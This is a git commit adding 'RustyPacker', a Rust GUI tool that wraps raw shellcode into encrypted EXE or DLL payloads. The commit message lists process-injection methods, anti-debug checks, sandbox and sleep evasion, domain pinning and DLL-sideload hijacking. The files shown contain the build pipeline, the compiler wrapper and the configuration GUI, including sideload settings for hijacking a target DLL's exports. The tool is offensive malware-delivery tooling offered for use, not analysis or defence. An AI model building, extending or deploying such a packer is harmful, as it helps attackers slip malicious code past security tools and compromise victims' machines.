RustyPacker v0.1-beta, native Rust shellcode packer with GUI

RustyPacker takes raw shellcode and emits a finished EXE, DLL, or
  DLL-sideloadable DLL with the payload embedded and encrypted.

  Choices exposed in the GUI:

  - Encryption: AES-256-CBC, XOR, UUID-encoded.
  - Remote injection: sysCRT, winCRT, ntEarlyCascade.
  - Self injection: sysFIBER, EnumCalendarInfoA, EnumDesktopsW,
    EnumWindowStationsW, EnumSystemGeoID, CDefFolderMenu_Create2,
    RtlUserFiberStart.
  - Anti-debug: CheckRemoteDebuggerPresent, NtQueryInformationProcess
    (ProcessDebugPort), TEB BeingDebugged, SetUnhandledExceptionFilter
    int3 trick.
  - Evasion: NtDelayExecution sleep, domain pinning.
  - Output: EXE, DLL, DLL Sideload, with optional Proxy mode and a
    generated .def for unhandled exports.

  The build flow assembles a Rust project under
  shared/output_<timestamp>/, performs placeholder substitutions
  requested by the chosen techniques, and runs
  cargo build --release --target x86_64-pc-windows-{msvc|gnu}. Once
  the final binary copies to the configured output path, cargo clean
  runs against the generated folder, removing target/ to keep disk use
  flat. Source files (Cargo.toml, src/, encrypted blob) stay on disk
  for inspection.

  Self-injection routes NtAllocateVirtualMemory and
  NtProtectVirtualMemory through Dyncvoke's syscall! macro, jumping
  into the real syscall instruction inside ntdll. Remote injection via
  sysCRT and sysFIBER uses the same path.

  build.rs walks src/techniques/ at build time to discover plugins, so
  adding a new encryption, injection, anti-debug, or evasion technique
  takes one manifest, one mod.rs, and an optional template folder.

  Three-tab GUI: Configure, FlowCase (live execution-flow preview), and
  Console (streaming cargo output line by line).
This commit is contained in:
Whitecat18
2026-06-01 22:12:16 +05:30
commit 00734c6553
77 changed files with 6081 additions and 0 deletions
+30
View File
@@ -0,0 +1,30 @@
[package]
name = "RustPacker"
version = "0.1.0-beta"
edition = "2021"
authors = ["smukx <staffs@5mukx.site>"]
[lib]
name = "rustpacker"
path = "src/lib.rs"
[[bin]]
name = "RustPacker"
path = "src/bin/gui.rs"
[build-dependencies]
toml = "0.8"
serde = { version = "1", features = ["derive"] }
[dependencies]
path-absolutize = "3"
fs_extra = "1"
path-clean = "1"
rand = "0.10"
libaes = "0.7"
anyhow = "1"
serde = { version = "1", features = ["derive"] }
toml = "0.8"
eframe = { version = "0.27", features = ["persistence"] }
egui = "0.27"
rfd = "0.14"
+242
View File
@@ -0,0 +1,242 @@
//! Walks `src/techniques/{encryption,injection,evasion}/*/technique.toml`,
//! parses each manifest, and emits `$OUT_DIR/registry.rs` with:
//! - one `pub static <ID>_META: TechniqueMeta = ...` per technique
//! - a `REGISTRY: &[&'static dyn Technique]` array
//!
//! Each technique folder must contain a `mod.rs` that defines a unit struct
//! `pub struct <PascalId>;` implementing `Technique` and that uses
//! `crate::techniques::<category>::<id>::<PascalId>_META` for its meta.
use serde::Deserialize;
use std::collections::HashSet;
use std::fs;
use std::path::PathBuf;
#[derive(Debug, Deserialize)]
struct Manifest {
id: String,
display_name: String,
description: String,
category: String, // "encryption" | "injection" | "evasion"
#[serde(default)]
tags: Vec<String>,
#[serde(default)]
requires: Vec<String>, // "target_process" | "self_injection" | "format:exe" | "format:dll"
#[serde(default)]
incompatible_with: Vec<String>,
#[serde(default)]
template_dir: Option<String>, // for injection only
#[serde(default)]
params: Vec<ParamManifest>,
}
#[derive(Debug, Deserialize)]
struct ParamManifest {
name: String,
kind: String, // "text" | "bool" | "choice"
label: String,
#[serde(default)]
default: Option<toml::Value>,
#[serde(default)]
options: Vec<String>,
}
fn main() {
let crate_root = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
let techniques_dir = crate_root.join("src/techniques");
let out_dir: PathBuf = std::env::var_os("OUT_DIR").expect("OUT_DIR not set by cargo").into();
println!("cargo:rerun-if-changed=build.rs");
println!("cargo:rerun-if-changed=src/techniques");
let mut found: Vec<(Manifest, String)> = Vec::new(); // (manifest, "<cat>/<id>")
let mut seen_ids: HashSet<String> = HashSet::new();
for cat in ["encryption", "injection", "evasion"] {
let cat_dir = techniques_dir.join(cat);
if !cat_dir.exists() {
continue;
}
for entry in fs::read_dir(&cat_dir).unwrap_or_else(|e| panic!("read_dir {}: {e}", cat_dir.display())) {
let entry = entry.unwrap_or_else(|e| panic!("read_dir entry in {}: {e}", cat_dir.display()));
let path = entry.path();
if !path.is_dir() {
continue;
}
let manifest_path = path.join("technique.toml");
if !manifest_path.exists() {
continue;
}
println!("cargo:rerun-if-changed={}", manifest_path.display());
let text = fs::read_to_string(&manifest_path)
.unwrap_or_else(|e| panic!("read {}: {e}", manifest_path.display()));
let manifest: Manifest = toml::from_str(&text)
.unwrap_or_else(|e| panic!("parse {}: {e}", manifest_path.display()));
if manifest.category != cat {
panic!(
"manifest {} category={} but folder is under {}",
manifest_path.display(), manifest.category, cat
);
}
if !is_valid_id(&manifest.id) {
panic!("invalid technique id {:?} in {}: must match ^[a-z][a-z0-9_]*$",
manifest.id, manifest_path.display());
}
if manifest.template_dir.is_some() && manifest.category != "injection" {
panic!("manifest {} declares template_dir but category={} (only 'injection' may use template_dir)",
manifest_path.display(), manifest.category);
}
if !seen_ids.insert(manifest.id.clone()) {
panic!("duplicate technique id: {}", manifest.id);
}
found.push((manifest, format!("{}/{}", cat, path.file_name().unwrap().to_string_lossy())));
}
}
found.sort_by(|a, b| a.0.id.cmp(&b.0.id));
let mut out = String::new();
out.push_str("// Auto-generated by build.rs. Do not edit.\n\n");
// Emit module trees grouped by category.
// We must use #[path = "..."] attributes because this file is emitted into
// $OUT_DIR and included via include!() — Rust resolves bare `pub mod`
// declarations relative to the including source file's directory, but when
// the mod declaration lives inside an include!() expansion, rustc uses the
// OUT_DIR path for resolution. Absolute #[path] attributes sidestep this.
for cat in ["encryption", "injection", "evasion"] {
let items: Vec<&(Manifest, String)> = found.iter().filter(|(m, _)| m.category == cat).collect();
if items.is_empty() { continue; }
out.push_str(&format!("pub mod {cat} {{\n"));
for (m, _) in &items {
let mod_path = techniques_dir
.join(cat)
.join(&m.id)
.join("mod.rs");
// Use forward slashes so the path attribute works cross-platform inside the string literal.
let mod_path_str = mod_path.to_string_lossy().replace('\\', "/");
out.push_str(&format!(" #[path = {:?}]\n pub mod {};\n", mod_path_str, m.id));
}
out.push_str("}\n");
}
out.push('\n');
// Emit one `static META` per technique with the parsed values.
for (m, _) in &found {
emit_meta(&mut out, m);
}
// Emit the REGISTRY array.
out.push_str("static REGISTRY: &[&'static dyn crate::techniques::Technique] = &[\n");
for (m, _) in &found {
let pascal = to_pascal(&m.id);
out.push_str(&format!(" &crate::techniques::{}::{}::{} {{}},\n", m.category, m.id, pascal));
}
out.push_str("];\n");
let dest = out_dir.join("registry.rs");
fs::write(&dest, out).unwrap_or_else(|e| panic!("write {}: {e}", dest.display()));
}
fn is_valid_id(id: &str) -> bool {
let mut chars = id.chars();
let Some(first) = chars.next() else { return false; };
if !first.is_ascii_lowercase() { return false; }
chars.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_')
}
fn to_pascal(snake: &str) -> String {
snake.split('_').map(|part| {
let mut chars = part.chars();
match chars.next() {
Some(c) => c.to_ascii_uppercase().to_string() + chars.as_str(),
None => String::new(),
}
}).collect()
}
fn emit_meta(out: &mut String, m: &Manifest) {
let cat_variant = match m.category.as_str() {
"encryption" => "Encryption",
"injection" => "Injection",
"evasion" => "Evasion",
other => panic!("unknown category: {other}"),
};
let id_upper = m.id.to_uppercase();
out.push_str(&format!(
"pub static {ID}_META: crate::techniques::TechniqueMeta = crate::techniques::TechniqueMeta {{\n",
ID = id_upper
));
out.push_str(&format!(" id: {:?},\n", m.id));
out.push_str(&format!(" display_name: {:?},\n", m.display_name));
out.push_str(&format!(" description: {:?},\n", m.description));
out.push_str(&format!(" category: crate::techniques::Category::{},\n", cat_variant));
out.push_str(" tags: &[");
for t in &m.tags { out.push_str(&format!("{:?}, ", t)); }
out.push_str("],\n");
out.push_str(" requires: &[");
for r in &m.requires { out.push_str(&emit_requirement(r)); out.push_str(", "); }
out.push_str("],\n");
out.push_str(" incompatible_with: &[");
for w in &m.incompatible_with { out.push_str(&format!("{:?}, ", w)); }
out.push_str("],\n");
out.push_str(" params: &[");
for p in &m.params { out.push_str(&emit_param(p)); out.push_str(", "); }
out.push_str("],\n");
out.push_str("};\n\n");
if let Some(t) = &m.template_dir {
out.push_str(&format!(
"pub static {ID}_TEMPLATE_DIR: &str = {t:?};\n\n",
ID = id_upper
));
}
}
fn emit_requirement(r: &str) -> String {
match r {
"target_process" => "crate::techniques::Requirement::TargetProcess".to_string(),
"self_injection" => "crate::techniques::Requirement::SelfInjection".to_string(),
"format:exe" => "crate::techniques::Requirement::Format(crate::techniques::Format::Exe)".to_string(),
"format:dll" => "crate::techniques::Requirement::Format(crate::techniques::Format::Dll)".to_string(),
other => panic!("unknown requirement: {other}"),
}
}
fn emit_param(p: &ParamManifest) -> String {
match p.kind.as_str() {
"text" => {
let default = p.default.as_ref().and_then(|v| v.as_str()).unwrap_or("");
format!(
"crate::techniques::ParamSpec::Text {{ name: {:?}, label: {:?}, default: {:?} }}",
p.name, p.label, default
)
}
"bool" => {
let default = p.default.as_ref().and_then(|v| v.as_bool()).unwrap_or(false);
format!(
"crate::techniques::ParamSpec::Bool {{ name: {:?}, label: {:?}, default: {} }}",
p.name, p.label, default
)
}
"choice" => {
if p.options.is_empty() {
panic!("choice param {:?} has no options", p.name);
}
let opts: Vec<String> = p.options.iter().map(|o| format!("{:?}", o)).collect();
format!(
"crate::techniques::ParamSpec::Choice {{ name: {:?}, label: {:?}, options: &[{}] }}",
p.name, p.label, opts.join(", ")
)
}
other => panic!("unknown param kind: {other}"),
}
}
+27
View File
@@ -0,0 +1,27 @@
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
use eframe::egui;
fn main() -> eframe::Result<()> {
// The build pipeline resolves `shared/` and `templates/` as relative paths
// from the CWD. When the GUI is launched directly (e.g. by double-clicking
// the .exe), the CWD is `target/release/` and those folders don't exist.
// Anchor to the project root that was current at compile time.
let project_root = env!("CARGO_MANIFEST_DIR");
if let Err(e) = std::env::set_current_dir(project_root) {
eprintln!("Warning: could not set working directory to {project_root}: {e}");
}
let opts = eframe::NativeOptions {
viewport: egui::ViewportBuilder::default()
.with_inner_size([960.0, 720.0])
.with_min_inner_size([720.0, 560.0])
.with_title("RustyPacker"),
persist_window: true,
..Default::default()
};
eframe::run_native(
"RustyPacker",
opts,
Box::new(|cc| Box::new(rustpacker::gui::App::from_storage(cc))),
)
}
+43
View File
@@ -0,0 +1,43 @@
//! Process-wide sink for build-pipeline output.
//!
//! The GUI installs a shared `Arc<Mutex<String>>` before kicking off a build;
//! every `blog!()` call from `puzzle`, `compiler`, `tools`, etc. appends a line
//! to that buffer so it can be rendered live in the Console tab. With no sink
//! installed the writes are silently dropped (the GUI binary has no stdout when
//! launched with `windows_subsystem = "windows"`).
use std::sync::{Arc, Mutex, OnceLock};
type SinkHandle = Arc<Mutex<String>>;
static SLOT: OnceLock<Mutex<Option<SinkHandle>>> = OnceLock::new();
fn slot() -> &'static Mutex<Option<SinkHandle>> {
SLOT.get_or_init(|| Mutex::new(None))
}
pub fn set_sink(sink: SinkHandle) {
*slot().lock().unwrap() = Some(sink);
}
pub fn clear_sink() {
*slot().lock().unwrap() = None;
}
pub fn write(line: &str) {
let sink_opt = slot().lock().unwrap().clone();
if let Some(sink) = sink_opt {
let mut buf = sink.lock().unwrap();
buf.push_str(line);
if !line.ends_with('\n') {
buf.push('\n');
}
}
}
#[macro_export]
macro_rules! blog {
($($arg:tt)*) => {
$crate::build_log::write(&format!($($arg)*))
};
}
+98
View File
@@ -0,0 +1,98 @@
use std::io::{BufRead, BufReader};
use std::path::Path;
use std::process::{Command, ExitStatus, Stdio};
/// Spawn `cmd` with stdout+stderr piped, stream every line into the
/// `build_log` sink as it arrives, and return the final ExitStatus.
fn stream_command(cmd: &mut Command) -> std::io::Result<ExitStatus> {
cmd.stdout(Stdio::piped()).stderr(Stdio::piped());
let mut child = cmd.spawn()?;
let stdout = child.stdout.take();
let stderr = child.stderr.take();
let t_out = stdout.map(|out| {
std::thread::spawn(move || {
for line in BufReader::new(out).lines().map_while(Result::ok) {
crate::build_log::write(&line);
}
})
});
let t_err = stderr.map(|err| {
std::thread::spawn(move || {
for line in BufReader::new(err).lines().map_while(Result::ok) {
crate::build_log::write(&line);
}
})
});
let status = child.wait()?;
if let Some(t) = t_out {
let _ = t.join();
}
if let Some(t) = t_err {
let _ = t.join();
}
Ok(status)
}
fn build_target() -> &'static str {
if cfg!(target_os = "windows") {
"x86_64-pc-windows-msvc"
} else {
"x86_64-pc-windows-gnu"
}
}
fn compile_locally(path_to_cargo_folder: &Path) -> Result<(), Box<dyn std::error::Error>> {
let target = build_target();
let manifest = path_to_cargo_folder.join("Cargo.toml");
let mut cmd = Command::new("cargo");
if cfg!(not(target_os = "windows")) {
cmd.env("CFLAGS", "-lrt");
cmd.env("LDFLAGS", "-lrt");
}
cmd.env("RUSTFLAGS", "-C target-feature=+crt-static")
.args(["build", "--release", "--manifest-path"])
.arg(&manifest)
.args(["--target", target]);
let status = stream_command(&mut cmd)?;
if !status.success() {
return Err(format!("Compilation failed: {}", status).into());
}
Ok(())
}
pub fn compile(path_to_cargo_folder: &Path) {
crate::blog!("[+] Starting to compile your payload..");
compile_locally(path_to_cargo_folder).unwrap_or_else(|err| {
panic!("Compilation failed: {:?}", err);
});
crate::blog!("[+] Successfully compiled! Rust code and compiled binary are in the 'shared' folder");
}
fn clean_locally(path_to_cargo_folder: &Path) -> Result<(), Box<dyn std::error::Error>> {
let manifest = path_to_cargo_folder.join("Cargo.toml");
let mut cmd = Command::new("cargo");
cmd.args(["clean", "--manifest-path"]).arg(&manifest);
cmd.stdout(Stdio::null()).stderr(Stdio::null());
let status = cmd.status()?;
if !status.success() {
return Err(format!("cargo clean failed: {}", status).into());
}
Ok(())
}
/// Removes the `target/` directory under the generated output folder.
/// Source files (`Cargo.toml`, `src/`, encrypted blob) are preserved.
/// Only call this after the final binary has been copied to the user's
/// destination, otherwise the only built artifact gets nuked along with
/// the intermediates.
pub fn clean(path_to_cargo_folder: &Path) {
crate::blog!("[*] Removing build artifacts to save disk space..");
match clean_locally(path_to_cargo_folder) {
Ok(()) => crate::blog!("[+] Cleaned: {}/target", path_to_cargo_folder.display()),
Err(e) => crate::blog!("[!] cargo clean skipped: {}", e),
}
}
+323
View File
@@ -0,0 +1,323 @@
use eframe::egui::{self, Margin, RichText};
pub mod state;
pub mod theme;
pub mod widgets;
pub mod tab_configure;
pub mod tab_flowcase;
pub mod tab_console;
use state::{AppState, Tab};
use std::sync::{Arc, Mutex};
use std::thread::JoinHandle;
use widgets::AppStatus;
pub struct App {
state: AppState,
build_handle: Option<JoinHandle<()>>,
build_log: Arc<Mutex<String>>,
build_running: Arc<std::sync::atomic::AtomicBool>,
}
impl Default for App {
fn default() -> Self {
Self {
state: AppState::default(),
build_handle: None,
build_log: Arc::new(Mutex::new(String::new())),
build_running: Arc::new(std::sync::atomic::AtomicBool::new(false)),
}
}
}
impl App {
pub fn from_storage(cc: &eframe::CreationContext<'_>) -> Self {
let state: AppState = cc
.storage
.and_then(|s| eframe::get_value::<AppState>(s, "app_state"))
.unwrap_or_default();
theme::install(&cc.egui_ctx, state.active_theme);
let mut app = Self::default();
app.state = state;
app
}
fn start_build(&mut self, ctx: &egui::Context) {
if self.build_running.load(std::sync::atomic::Ordering::SeqCst) {
return;
}
if let Err(msg) = validate_state(&self.state) {
self.build_log
.lock()
.unwrap()
.push_str(&format!("[-] {msg}\n"));
return;
}
let order = match self.state.to_order() {
Some(o) => o,
None => {
self.build_log
.lock()
.unwrap()
.push_str("[-] Pick a shellcode file first.\n");
return;
}
};
self.build_log.lock().unwrap().clear();
self.build_running
.store(true, std::sync::atomic::Ordering::SeqCst);
let log = self.build_log.clone();
let running = self.build_running.clone();
let ctx = ctx.clone();
self.build_handle = Some(std::thread::spawn(move || {
crate::build_log::set_sink(log.clone());
crate::build_log::write("[*] Starting build...");
let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
let folder = crate::puzzle::assemble(order.clone());
crate::blog!("[*] Compiled output folder: {}", folder.display());
crate::compiler::compile(&folder);
let copy_result = crate::tools::process_output(&order, &folder);
let _ = crate::tools::rename_source_binary(&order, &folder);
if order.output.is_some() && copy_result.is_ok() {
crate::compiler::clean(&folder);
}
}));
let msg = match result {
Ok(()) => "[+] Build complete.",
Err(_) => "[-] Build panicked. See output folder for partial artifacts.",
};
crate::build_log::write(msg);
crate::build_log::clear_sink();
running.store(false, std::sync::atomic::Ordering::SeqCst);
ctx.request_repaint();
}));
}
}
pub fn validate_state(state: &AppState) -> Result<(), String> {
use crate::gui::state::Format;
use crate::techniques::{self, Format as TFormat, Requirement};
let Some(_) = &state.shellcode_path else {
return Err("Pick a shellcode file.".into());
};
let inj = techniques::find(&state.injection_id)
.ok_or_else(|| format!("Unknown injection: {}", state.injection_id))?;
if techniques::find(&state.encryption_id).is_none() {
return Err(format!("Unknown encryption: {}", state.encryption_id));
}
for ev_id in &state.enabled_evasions {
if techniques::find(ev_id).is_none() {
return Err(format!("Unknown evasion: {}", ev_id));
}
}
for id in &state.enabled_anti_debug {
if techniques::find(id).is_none() {
return Err(format!("Unknown anti-debug check: {}", id));
}
}
for req in inj.meta().requires {
match req {
Requirement::TargetProcess => {
let key = format!("{}.target_process", inj.meta().id);
if state
.params
.get(&key)
.map(String::as_str)
.unwrap_or("")
.is_empty()
{
return Err(format!(
"{} requires a target process.",
inj.meta().display_name
));
}
}
Requirement::Format(TFormat::Exe) if state.format == Format::Dll => {
return Err(format!(
"{} requires EXE format.",
inj.meta().display_name
));
}
Requirement::Format(TFormat::Dll) if state.format == Format::Exe => {
return Err(format!(
"{} requires DLL format.",
inj.meta().display_name
));
}
_ => {}
}
}
if state.format == Format::DllSideload {
if !inj.meta().tags.contains(&"self_injection") {
return Err(format!(
"DLL Sideload requires a self-injection technique. {} is remote.",
inj.meta().display_name
));
}
if state.sideload.target_dll.is_none() {
return Err("DLL Sideload: pick a target DLL.".into());
}
if state.sideload.hijack_export.trim().is_empty() {
return Err("DLL Sideload: enter the hijack export name.".into());
}
if matches!(state.sideload.mode, crate::gui::state::SideloadMode::Proxy)
&& !state.sideload.use_absolute_path
&& state.sideload.renamed.trim().is_empty()
{
return Err(
"DLL Sideload (Proxy, relative mode): set the renamed-original DLL name."
.into(),
);
}
}
Ok(())
}
impl eframe::App for App {
fn save(&mut self, storage: &mut dyn eframe::Storage) {
eframe::set_value(storage, "app_state", &self.state);
}
fn update(&mut self, ctx: &egui::Context, _frame: &mut eframe::Frame) {
let running = self
.build_running
.load(std::sync::atomic::Ordering::SeqCst);
let count = crate::techniques::all().len();
let status = if running {
AppStatus::Building
} else {
AppStatus::Ready { count }
};
// --- Title bar (with theme picker)
let mut theme_changed = false;
egui::TopBottomPanel::top("titlebar")
.frame(
egui::Frame::none()
.fill(theme::palette::bg_chrome())
.inner_margin(Margin::ZERO),
)
.show_separator_line(false)
.show(ctx, |ui| {
theme_changed = widgets::title_bar(
ui,
env!("CARGO_PKG_VERSION"),
&status,
&mut self.state.active_theme,
);
});
if theme_changed {
theme::install(ctx, self.state.active_theme);
ctx.request_repaint();
}
// --- Tab strip
egui::TopBottomPanel::top("tabs")
.frame(
egui::Frame::none()
.fill(theme::palette::bg_chrome())
.inner_margin(Margin::ZERO),
)
.show_separator_line(false)
.show(ctx, |ui| {
widgets::tab_strip(
ui,
&mut self.state.current_tab,
&[
(Tab::Configure, "Configure"),
(Tab::FlowCase, "FlowCase"),
(Tab::Console, "Console"),
],
);
});
// --- Bottom action bar
egui::TopBottomPanel::bottom("actions")
.frame(
egui::Frame::none()
.fill(theme::palette::bg_chrome())
.inner_margin(Margin {
left: theme::space::LG,
right: theme::space::LG,
top: theme::space::SM + 2.0,
bottom: theme::space::SM + 2.0,
}),
)
.show_separator_line(false)
.show(ctx, |ui| {
let r = ui.max_rect();
ui.painter().hline(
r.x_range(),
r.top(),
egui::Stroke::new(1.0, theme::palette::border_strong()),
);
ui.horizontal(|ui| {
let status_text = if running {
format!("● Building… · see Console for output")
} else {
format!("Ready · {count} techniques discovered")
};
let color = if running {
theme::palette::accent()
} else {
theme::palette::text_label()
};
ui.label(
RichText::new(status_text)
.font(theme::font_sans(11.0))
.color(color),
);
ui.with_layout(
egui::Layout::right_to_left(egui::Align::Center),
|ui| {
let clicked = if running {
let _ = widgets::primary_button_disabled(ui, "▶ BUILDING…");
false
} else {
widgets::primary_button(ui, "▶ BUILD PAYLOAD").clicked()
};
if clicked {
self.state.current_tab = Tab::Console;
self.start_build(ctx);
}
},
);
});
});
// --- Central body
let central = egui::CentralPanel::default()
.frame(
egui::Frame::none()
.fill(theme::palette::bg_base())
.inner_margin(Margin {
left: theme::space::XXL,
right: theme::space::XXL,
top: theme::space::LG,
bottom: theme::space::LG,
}),
)
.show(ctx, |ui| match self.state.current_tab {
Tab::Configure => tab_configure::draw(ui, &mut self.state),
Tab::FlowCase => tab_flowcase::draw(ui, &mut self.state),
Tab::Console => tab_console::draw(ui, &mut self.state, &self.build_log),
});
// Cyberpunk overlay: subtle CRT scanlines over the central panel.
if self.state.active_theme.scanlines() {
widgets::paint_scanlines(ctx, central.response.rect);
}
// Animate the building status pip
if running {
ctx.request_repaint_after(std::time::Duration::from_millis(150));
}
}
}
+129
View File
@@ -0,0 +1,129 @@
use crate::gui::theme::Theme;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::path::PathBuf;
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
pub enum Tab { Configure, FlowCase, Console }
impl Default for Tab { fn default() -> Self { Self::Configure } }
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
pub enum SideloadMode { Sideload, Proxy }
impl Default for SideloadMode { fn default() -> Self { Self::Sideload } }
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
#[serde(default)]
pub struct SideloadConfig {
pub target_dll: Option<PathBuf>,
pub hijack_export: String,
pub mode: SideloadMode,
pub renamed: String, // proxy/relative mode — e.g. "Shaping.dll"
pub use_absolute_path: bool, // proxy/absolute mode
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(default)]
pub struct AppState {
pub current_tab: Tab,
pub shellcode_path: Option<PathBuf>,
pub format: Format,
pub output_path: Option<PathBuf>,
pub encryption_id: String, // e.g. "aes"
pub injection_id: String, // e.g. "syscrt"
pub enabled_evasions: Vec<String>,
#[serde(default)]
pub enabled_anti_debug: Vec<String>,
/// Flat key/value, scoped by "<technique_id>.<param_name>".
pub params: HashMap<String, String>,
pub sideload: SideloadConfig,
pub console_log: String,
/// Active visual theme — persisted across runs.
pub active_theme: Theme,
}
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
pub enum Format { Exe, Dll, DllSideload }
impl Default for Format { fn default() -> Self { Self::Exe } }
impl Format {
pub fn label(self) -> &'static str {
match self {
Format::Exe => "EXE",
Format::Dll => "DLL",
Format::DllSideload => "DLL SIDELOAD",
}
}
}
impl Default for AppState {
fn default() -> Self {
Self {
current_tab: Tab::Configure,
shellcode_path: None,
format: Format::Exe,
output_path: None,
encryption_id: "aes".to_string(),
injection_id: "syscrt".to_string(),
enabled_evasions: Vec::new(),
enabled_anti_debug: Vec::new(),
params: HashMap::new(),
sideload: SideloadConfig::default(),
console_log: String::new(),
active_theme: Theme::default(),
}
}
}
impl AppState {
pub fn to_order(&self) -> Option<crate::order::Order> {
use crate::order::{
Order, OutputFormat, SideloadConfig as OrderSideload, SideloadMode as OrderMode,
};
let sideload = match self.format {
Format::DllSideload => {
let target = self.sideload.target_dll.clone()?;
Some(OrderSideload {
target_dll: target,
hijack_export: self.sideload.hijack_export.clone(),
mode: match self.sideload.mode {
SideloadMode::Sideload => OrderMode::Sideload,
SideloadMode::Proxy => OrderMode::Proxy,
},
renamed: self.sideload.renamed.clone(),
use_absolute_path: self.sideload.use_absolute_path,
})
}
_ => None,
};
Some(Order {
shellcode_path: self.shellcode_path.clone()?,
format: match self.format {
Format::Exe => OutputFormat::Exe,
Format::Dll => OutputFormat::Dll,
Format::DllSideload => OutputFormat::DllSideload,
},
encryption_id: self.encryption_id.clone(),
injection_id: self.injection_id.clone(),
evasions: {
// Anti-debug checks run first (bail out before sandbox/sleep evasions).
let mut combined = self.enabled_anti_debug.clone();
combined.extend(self.enabled_evasions.iter().cloned());
combined
},
params: self.params.clone(),
output: self.output_path.clone(),
sideload,
})
}
}
+657
View File
@@ -0,0 +1,657 @@
use crate::gui::state::{AppState, Format, SideloadMode};
use crate::gui::theme::{palette, space};
use crate::gui::widgets::{
card, description, field_row, ghost_button, input_readonly, meta_line, pill, section_header,
segmented, warn_banner, PillKind,
};
use eframe::egui::{self, FontFamily, FontId, RichText};
use std::fs;
use std::path::PathBuf;
pub fn draw(ui: &mut egui::Ui, state: &mut AppState) {
egui::ScrollArea::vertical()
.auto_shrink([false, false])
.show(ui, |ui| {
ui.set_min_width(ui.available_width());
draw_shellcode(ui, state);
ui.add_space(space::MD);
draw_output(ui, state);
ui.add_space(space::MD);
if state.format == Format::DllSideload {
draw_sideload(ui, state);
ui.add_space(space::MD);
}
draw_encryption(ui, state);
ui.add_space(space::MD);
draw_injection(ui, state);
ui.add_space(space::MD);
draw_anti_debug(ui, state);
ui.add_space(space::MD);
draw_evasion(ui, state);
if let Err(msg) = crate::gui::validate_state(state) {
ui.add_space(space::SM);
warn_banner(ui, &msg);
}
ui.add_space(space::LG);
});
}
// ---------------------------------------------------------------- shellcode
fn draw_shellcode(ui: &mut egui::Ui, state: &mut AppState) {
let size_suffix = state
.shellcode_path
.as_ref()
.and_then(|p| fs::metadata(p).ok())
.map(|m| format!("{} bytes", m.len()));
section_header(ui, "Shellcode", size_suffix.as_deref());
card(ui, |ui| {
field_row(ui, "File", |ui| {
let path_str = state
.shellcode_path
.as_ref()
.map(|p| p.display().to_string())
.unwrap_or_default();
let avail = ui.available_width() - 110.0;
input_readonly(ui, &path_str, avail.max(180.0));
if ghost_button(ui, "Browse…").clicked() {
if let Some(picked) = rfd::FileDialog::new()
.add_filter("Raw shellcode", &["bin", "raw"])
.pick_file()
{
state.shellcode_path = Some(picked);
}
}
});
if state.shellcode_path.is_some() && size_suffix.is_some() {
ui.add_space(4.0);
meta_line(
ui,
&format!(
"{} loaded",
size_suffix.as_deref().unwrap_or("")
),
);
}
});
}
// ---------------------------------------------------------------- output
fn draw_output(ui: &mut egui::Ui, state: &mut AppState) {
section_header(ui, "Output", None);
card(ui, |ui| {
field_row(ui, "Format", |ui| {
segmented(
ui,
&mut state.format,
&[
(Format::Exe, "EXE"),
(Format::Dll, "DLL"),
(Format::DllSideload, "SIDELOAD"),
],
);
});
ui.add_space(6.0);
field_row(ui, "Save to", |ui| {
let mut s = state
.output_path
.as_ref()
.map(|p| p.display().to_string())
.unwrap_or_default();
let avail = ui.available_width() - 110.0;
let resp = ui.add(
egui::TextEdit::singleline(&mut s)
.desired_width(avail.max(180.0))
.font(FontId::new(12.0, FontFamily::Monospace))
.text_color(palette::text())
.margin(egui::vec2(space::SM, space::XS + 1.0)),
);
if resp.changed() {
state.output_path = if s.trim().is_empty() {
None
} else {
Some(s.into())
};
}
if ghost_button(ui, "Browse…").clicked() {
let default_name = match state.format {
Format::Exe => "out.exe",
Format::Dll | Format::DllSideload => "out.dll",
};
if let Some(picked) = rfd::FileDialog::new()
.set_file_name(default_name)
.save_file()
{
state.output_path = Some(picked);
}
}
});
});
}
// ---------------------------------------------------------------- sideload
fn draw_sideload(ui: &mut egui::Ui, state: &mut AppState) {
section_header(ui, "DLL Sideload", Some("self-injection only"));
card(ui, |ui| {
field_row(ui, "Target DLL", |ui| {
let path_str = state
.sideload
.target_dll
.as_ref()
.map(|p| p.display().to_string())
.unwrap_or_default();
let avail = ui.available_width() - 110.0;
input_readonly(ui, &path_str, avail.max(180.0));
if ghost_button(ui, "Browse…").clicked() {
if let Some(picked) = rfd::FileDialog::new()
.add_filter("DLL", &["dll", "DLL"])
.pick_file()
{
state.sideload.target_dll = Some(picked);
}
}
});
ui.add_space(6.0);
field_row(ui, "Hijack export", |ui| {
let avail = ui.available_width();
ui.add(
egui::TextEdit::singleline(&mut state.sideload.hijack_export)
.desired_width(avail.min(320.0))
.hint_text("e.g. DllRegisterServer")
.font(FontId::new(12.0, FontFamily::Monospace))
.text_color(palette::text())
.margin(egui::vec2(space::SM, space::XS + 1.0)),
);
});
ui.add_space(6.0);
field_row(ui, "Mode", |ui| {
segmented(
ui,
&mut state.sideload.mode,
&[
(SideloadMode::Sideload, "SIDELOAD"),
(SideloadMode::Proxy, "PROXY"),
],
);
});
match state.sideload.mode {
SideloadMode::Sideload => {
ui.add_space(6.0);
description(
ui,
"Sideload — pure replacement DLL. No original loaded; all \
non-hijacked exports are no-op stubs. Drop alongside the \
vulnerable host app.",
);
}
SideloadMode::Proxy => {
ui.add_space(6.0);
description(
ui,
"Proxy — non-hijacked exports forward to the original DLL via .def. \
Uses dyncvoke (git dep) + obfstr + lazy_static.",
);
ui.add_space(6.0);
field_row(ui, "Path mode", |ui| {
ui.checkbox(
&mut state.sideload.use_absolute_path,
RichText::new("Use absolute target path (no rename needed)")
.font(crate::gui::theme::font_sans(11.0)),
);
});
if !state.sideload.use_absolute_path {
ui.add_space(6.0);
field_row(ui, "Renamed", |ui| {
let avail = ui.available_width();
ui.add(
egui::TextEdit::singleline(&mut state.sideload.renamed)
.desired_width(avail.min(320.0))
.hint_text("e.g. Shaping.dll")
.font(FontId::new(12.0, FontFamily::Monospace))
.text_color(palette::text())
